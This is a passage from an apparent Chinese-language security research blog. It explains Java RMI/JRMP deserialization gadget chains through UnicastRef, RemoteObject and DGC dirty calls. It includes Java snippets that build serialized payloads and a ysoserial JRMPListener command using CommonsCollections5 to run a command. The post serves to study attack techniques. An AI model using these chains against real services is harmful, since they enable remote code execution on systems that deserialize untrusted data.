注意上面用`Object oo`接收了反序列化的结果，若不加这个打不通，猜测是因为Stub没被引用导致被垃圾回收了，监听的端口自然断开了，`ysoserial.exploit.JRMPClient`连不上去。

### UnicastRef

`UnicastRef`实现了`Externalizable`接口，反序列化时会调用`readExternal`

![image-20240224122757788](/files/5VXJoP8GMYCiO25uSNyS)

`LiveRef#read`用于恢复`ref`属性

![image-20240224123023925](/files/h8Bs6UYjpP9xJdEy37HC)

`DGCClient.registerRefs`将其注册，用于垃圾回收

![image-20240224123211777](/files/FxDEDZN8l0GMKTxXOLg5)

`makeDirtyCall`即调用`dirty`

![image-20240224123423300](/files/ky9QOF4oXSw9MolaGGvK)

![image-20240224123702271](/files/geoy0ocPg4kwaqj8nZOU)

接着就是发送DGC请求了，可以让其与一个恶意服务通信，返回恶意数据流，则会造成反序列化漏洞。配合`ysoserial.exploit.JRMPListener`构造恶意RMI服务，伪造`异常返回`，让客户端反序列化异常对象。

```java
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 12233);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
ser(ref);
```

`java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12233 CommonsCollections5 "calc"`

![image-20240224124804271](/files/3BaGmzV1oq2mJr5YI0eE)

### RemoteObject

之前说过，每个远程对象`RemoteObject`都有一个`RemoteRef`作为其远程引用，上一条链子的`UnicastRef`也是`RemoteRef`的子类。`RemoteObject#readObject`会先恢复`ref`属性，就会调用到它的`readExternal`了

![image-20240224130313035](/files/9VI9GWgJzNKwHUUaVfYH)

随便找一个`RemoteObject`的子类，将`UnicastRef`作为其`ref`属性，接下来和上面的链子一样。对应`ysoserial.payloads.JRMPClient`，不过它是用的`RemoteObjectInvocationHandler`，也就是创建动态代理Stub那一套

```java
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 12233);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RegistryImpl_Stub stub = new RegistryImpl_Stub(ref);
ser(stub);
```

### Summary

总结一下：

> * exploit
>   * JRMPListner：构造恶意JRMP服务器，返回异常让客户端反序列化 `StreamRemoteCall#executeCall`
>   * JRMPClient：发送恶意序列化数据，打DGC服务 `DGCImpl_Skel#dispatch`
> * payloads
>   * JRMPListner：`UnicastRemoteObject`反序列化时会导出对象，触发JRMP监听端口，配合exploit.JRMPClient打
>   * JRMPClient：`UnicastRef`反序列化时会触发DGC的`ditry`，配合exploit.JRMPListner打

注意到上面的反序列化链子最终触发的还是反序列化，因此JRMP适用于二次反序列化。

后面还有JEP290的RMI绕过，放后面去讲了。

## 0x08 Ref

* <https://su18.org/post/rmi-attack> 👍
